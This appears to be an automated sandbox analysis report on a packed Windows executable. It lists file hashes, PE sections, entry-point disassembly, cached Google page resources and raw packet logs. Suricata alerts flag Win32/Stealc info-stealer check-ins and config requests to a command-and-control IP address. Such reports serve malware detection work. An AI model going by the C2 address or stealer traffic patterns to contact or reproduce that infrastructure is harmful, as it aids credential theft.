Encrypted:	false
SSDEEP:	3072:fSkXyPqO7UX1Hme9kZbs4Voc5sSnXqwQ2i6o:fVyWFHrp4Voc5sSnawQ8o
MD5:	7F2286335671BCDCEEBFC92DEFB5CA67
SHA1:	8F3049F0D3331EDB38573548CDEC0A21222F3098
SHA-256:	5262AF6E55A09722FD9208094615500675C8881A19A8F2BE6CCB73654621E497
SHA-512:	6154DAF09F18E3821E1FB58FA3A5DA593E86FE76491BBADABC7A6AA5102630DE1B5013B8F479BF911956F932B445B5616DA944CD891282696059D84C5FC285E2
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94501057401108
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'789'952 bytes
MD5:	e64035d85c07c76968207961c636bafd
SHA1:	042119fffe8ee795bb0d0365ca326dd0adfc775f
SHA256:	504451eddf7c45ab86eb9253a2a669928d27a3e0c6bd9d03564ca6e2370076f4
SHA512:	97712f2770bffaae68ff31894961fb8c8a30300d8b706131e83b30f8f73350fbf821d8eaede0ac49f4e5b83d6394fd813c7b1daa70a7cef8402b642d390acdba
SSDEEP:	49152:rzSKrMtbWWUPPNOktOLuVecLwj5PTdWdeENnSHRJ:rm0RbOLuVlLMRTdWYENSH
TLSH:	9685336140642E61CC7B0F796FE5D61A6630A775CB4AE9C2E22A21D46887F408FDC1FB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9C04DF1E8Ah
ucomiss xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	b97e84405804c6d2b71d366979a26024	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	c8f633689e46f612aa21fcfc3623d5c5	False	0.796875	data	6.084549532436595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a8000	0x200	8322cad4361764498239472101251ffb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
edrmxlxv	0x4f4000	0x19c000	0x19b200	64df6ee079d4aff8d020708be38fbd31	False	0.99466676326391	data	7.954130271885478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqkpdbcv	0x690000	0x1000	0x400	15972f8cbb9a38dcb653cd8981d7a2ed	False	0.7705078125	data	6.091194144966209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	0cdc2afe346e28b5134c1a52db03320d	False	0.05974264705882353	DOS executable (COM)	0.7848287304623527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68edf8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T21:59:13.174378+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:13.676095+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:13.797280+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T21:59:14.142599+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:14.264354+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T21:59:15.628165+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:16.613055+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T21:59:39.007218+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:41.087337+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:42.604378+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:43.944807+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:47.964595+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:49.076793+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-23T21:59:54.654516+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49917	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 21:59:02.158802986 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.158860922 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.158873081 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.158966064 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.158998013 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.159010887 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.159018993 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.159198046 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.167299032 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.167392015 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.167443991 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.175051928 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.175204992 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.175267935 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.221932888 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.222017050 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.223186016 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.223200083 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.223210096 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.223220110 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.223303080 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:02.230952978 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:02.344146013 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.344160080 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.344269037 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.344278097 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.344286919 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.403330088 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.761456013 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.761549950 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.761625051 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.765674114 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.765821934 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.765877008 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.774396896 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.774415970 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.774478912 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.783085108 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.783231974 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.783307076 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.790098906 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.838716984 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.842030048 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:02.842225075 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:02.842323065 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:02.846014977 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:02.948760986 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:02.961986065 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.962004900 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:02.962222099 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:03.002315044 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.186314106 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.186315060 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.186655045 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.186708927 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.186801910 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.188570976 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.188590050 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.312876940 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.312935114 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.312988997 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.313018084 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.313045979 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.398871899 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:03.439867973 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:03.627163887 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:03.674165964 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:03.724339008 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.724402905 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.724581957 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.728487015 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.730077982 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.730113983 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.730170965 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.738631964 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.738755941 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.739342928 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.747216940 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.747308969 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.747339010 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.755759001 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.755816936 CET	443	49706	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:03.755871058 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.799223900 CET	49706	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:03.837553978 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:03.841692924 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:03.961266041 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:04.189901114 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:04.397988081 CET	443	49707	20.198.119.143	192.168.2.6
Nov 23, 2024 21:59:04.439928055 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:04.439928055 CET	49707	443	192.168.2.6	20.198.119.143
Nov 23, 2024 21:59:04.627341032 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:04.892292023 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.892337084 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:04.892421961 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.892425060 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.892476082 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:04.892537117 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.898972034 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.898989916 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:04.899139881 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:04.899154902 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:05.086436033 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.086550951 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.102423906 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.102447987 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.103106022 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.103468895 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.103514910 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.103585005 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.799182892 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.799216032 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.799263000 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.799293995 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.799319983 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.799367905 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.800192118 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.800225019 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:05.800390959 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.800432920 CET	443	49708	20.190.147.7	192.168.2.6
Nov 23, 2024 21:59:05.800519943 CET	49708	443	192.168.2.6	20.190.147.7
Nov 23, 2024 21:59:06.726243973 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.726450920 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.767884970 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.767903090 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.769010067 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.770106077 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.770106077 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.770176888 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.800029039 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.800143003 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.805666924 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.805681944 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.806395054 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:06.806406021 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.806557894 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:06.806735039 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.334429979 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.334496021 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.334508896 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.334527016 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.334542036 CET	49709	443	192.168.2.6	20.103.156.88
